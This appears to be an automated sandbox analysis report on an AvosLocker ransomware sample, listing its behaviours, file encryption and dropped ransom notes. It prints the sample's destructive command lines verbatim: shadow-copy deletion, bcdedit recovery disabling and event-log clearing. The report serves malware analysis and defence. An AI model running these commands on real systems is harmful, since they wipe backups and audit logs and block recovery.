Malware Analysis Report

2025-01-22 20:51

Sample ID 241225-r7nydawkbl
Target testing.exe
SHA256 fa8740e57fe41b3f13eca9c22a81eab37a157255e78d1090543a5f3f991dbbfe
Tags
avoslocker defense_evasion discovery evasion execution impact ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

fa8740e57fe41b3f13eca9c22a81eab37a157255e78d1090543a5f3f991dbbfe

Threat Level: Known bad

The file testing.exe was found to be: Known bad.

Malicious Activity Summary

avoslocker defense_evasion discovery evasion execution impact ransomware

Avoslocker Ransomware

Avoslocker family

Deletes shadow copies

Renames multiple (8468) files with added filename extension

Modifies boot configuration data using bcdedit

Renames multiple (10434) files with added filename extension

Checks computer location settings

Executes dropped EXE

Drops desktop.ini file(s)

Enumerates connected drives

Sets desktop wallpaper using registry

Drops file in Program Files directory

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Unsigned PE

Command and Scripting Interpreter: PowerShell

Suspicious behavior: EnumeratesProcesses

Interacts with shadow copies

Suspicious use of WriteProcessMemory

Uses Volume Shadow Copy service COM API

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-12-25 14:50

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-12-25 14:50

Reported

2024-12-25 14:52

Platform

win7-20240729-en

Max time kernel

119s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Avoslocker family

avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (10434) files with added filename extension

ransomware

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1097102204.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR9F.GIF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18238_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\Smart Tag\LISTS\BASMLA.XSL C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Microsoft Games\Hearts\it-IT\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Noronha C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\CIEXYZ.pf C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\TABMASK.BMP C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01294_.GIF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_few-showers.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\en-US\js\settings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Saipan C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-core_zh_CN.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\La_Paz C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\sl.pak C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-static.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BabyBlue\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR7F.GIF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Couture.eftx C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\tile_bezel.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-visual_zh_CN.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_ja.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Common Files\SpeechEngines\Microsoft\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\PICTPH.POC C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\VideoLAN\VLC\AUTHORS.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_ButtonGraphic.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\images\on_desktop\slideshow_glass_frame.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Common Files\Adobe\Help\en_US\Adobe Reader\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\Beulah C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-filesystems.xml C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\settings_right_hover.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0199469.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0250997.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.transport.ecf_1.1.0.v20140408-1354.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\PS2SWOOS.POC C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00453_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\VideoLAN\VLC\locale\ie\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-print.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-queries_ja.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Internet Explorer\ja-JP\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Internet Explorer\it-IT\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\square_s.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\modern_h.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Windows Sidebar\es-ES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\MANIFEST.MF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ja_JP.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\pt-PT.pak C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\it-IT\gadget.xml C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL087.XML C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14980_.GIF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH01931J.JPG C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_box_bottom.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\es-ES\js\localizedStrings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\de-DE\css\weather.css C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\de-DE\js\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\StopHide.potm C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-full_partly-cloudy.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\Vdk10.lng C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\es-ES\css\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0233665.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\PROFILE\PROFILE.ELM C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Microsoft Games\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2720 wrote to memory of 2728 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 2720 wrote to memory of 2728 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 2720 wrote to memory of 2728 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 2720 wrote to memory of 2728 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 2728 wrote to memory of 2832 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2832 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2832 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2832 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2692 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\system32\cmd.exe
PID 2736 wrote to memory of 3012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2736 wrote to memory of 3012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2736 wrote to memory of 3012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2752 wrote to memory of 276 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2752 wrote to memory of 276 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2752 wrote to memory of 276 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2832 wrote to memory of 2324 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2832 wrote to memory of 2324 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2832 wrote to memory of 2324 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2692 wrote to memory of 2952 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2692 wrote to memory of 2952 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2692 wrote to memory of 2952 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2892 wrote to memory of 1884 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2892 wrote to memory of 1884 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2892 wrote to memory of 1884 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2728 wrote to memory of 13332 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2728 wrote to memory of 13332 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2728 wrote to memory of 13332 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2728 wrote to memory of 13332 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 13332 wrote to memory of 13120 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 13332 wrote to memory of 13120 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 13332 wrote to memory of 13120 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 13332 wrote to memory of 13472 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 13332 wrote to memory of 13472 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 13332 wrote to memory of 13472 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\testing.exe

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr

"C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr" /S

C:\Windows\system32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\system32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

